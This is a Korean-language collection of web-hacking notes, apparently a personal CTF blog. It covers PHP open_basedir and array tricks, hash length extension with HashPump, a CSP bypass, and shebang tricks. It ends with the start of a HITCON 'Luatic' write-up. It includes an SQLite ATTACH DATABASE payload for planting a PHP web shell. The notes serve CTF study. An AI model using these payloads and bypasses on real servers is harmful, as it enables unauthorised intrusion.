NGA

PHP open_basedir bypass

https://bugs.php.net/bug.php?id=73891 https://bugs.php.net/bug.php?id=77850 https://blog.shpik.kr/2019/PHP_Open_basedir_Bypass/

PHP Array Trick

PHP에서 [] + 1, [] - 1, [] * 1, [] / 1처럼 연산을 하게 되면 Fatal Error가 발생하는데 이때 PHP에서는 실행 중인 script를 Fatal Error가 발생한 부분에서 중지를 시키게 된다. 위와 같이 소스코드가 작성이 되었을 때 $_POST['login'] 값을 배열로 주게 되면 is_admin session값을 True로 가져가게 된다.

HTTP HEAD method trick in PHP 5.3.5

HEAD Method를 사용 시에 첫 번째 출력 버퍼를 출력 후 script가 종료되어 보안에 문제가 된다 https://repo.zenk-security.com/Techniques%20d.attaques%20%20.%20%20Failles/HTTP%20HEAD%20method%20trick%20in%20php%20scripts.pdf

Length extension attack

hash가 salt||data의 형식일 때 salt의 길이, data, hash를 알 때 원하는 salt를 몰라도 원하는 hash를 만들 수 있다. Merkle–Damgård 구조의 MD5, SHA1, SHA2 와 같은 알고리즘은 취약하다. HashPump를 이용해 페이로드 작성. https://github.com/bwall/HashPump bwall/HashPump A tool to exploit the hash length extension attack in various hashing algorithms - bwall/HashPump github.com

CSP Bypass with HTTP 10x Status (Chrome < 80)

"HTTP/1.1 10x" Response header를 생성해주게 되면 CSP가 실행되지 않는다. 100, 101, 102

SQLITE Web Shell

ATTACH DATABASE '/var/www/html/cmd.php' AS shell; CREATE TABLE shell.payload (payload text); INSERT INTO shell.payload VALUES('' );

#! shebang

해시 기호와 느낌표로 이루어진 문자 시퀀스로, 스크립트의 맨 처음에 오며 어떤 인터프리터를 사용할지 지정한다. #!/bin/bash .. .. shebang 을 사용하면 Linux의 file, PHP의 finfo::file 처럼 파일의 정보를 출력하는 명령어에 결과값을 조작할 수 있다. shebang file #!/testtesttest asjdka jaklsjd kalj .... nga@nga-virtual-machine:~$ file shebang shebang: a /testtesttest asjdka jaklsjd kalj script, ASCII text executable

Docker 한글 설정

export LANGUAGE=ko_KR.UTF-8 export LANG=ko_KR.UTF-8 source ~/.bashrc locale-gen ko_KR ko_KR.UTF-8 update-locale LANG=ko_KR.UTF-8 dpkg-reconfigure locales

<script src="data://~~"></script>

[WEB] Luatic Write-up

index.php 해당 문제의 index.php이며 team token 값을 받아 luatic, start, reset, status에 사용이 되었다. team token 은 HITCON team page에서 확인할 수 있었다. luatic.php luatic을 클릭하여 luatic.php 소스코드를 확인할 수 있었다. 소스코드 분석 6 ~ 13 line foreach를 통해 $_GET과 $_POST에서 token, guess 등의 변수를 생성한다. [*] 임의의 변수 생성이 가능. 15 ~ 28 line token, guess 값을 검증하고 token 값을 통해 port와 Redis의 실행상태를 확인한다. 37 ~ 39 line Redis에 연결 42 ~ 43 line Redis 가 정상적으로 작동하는..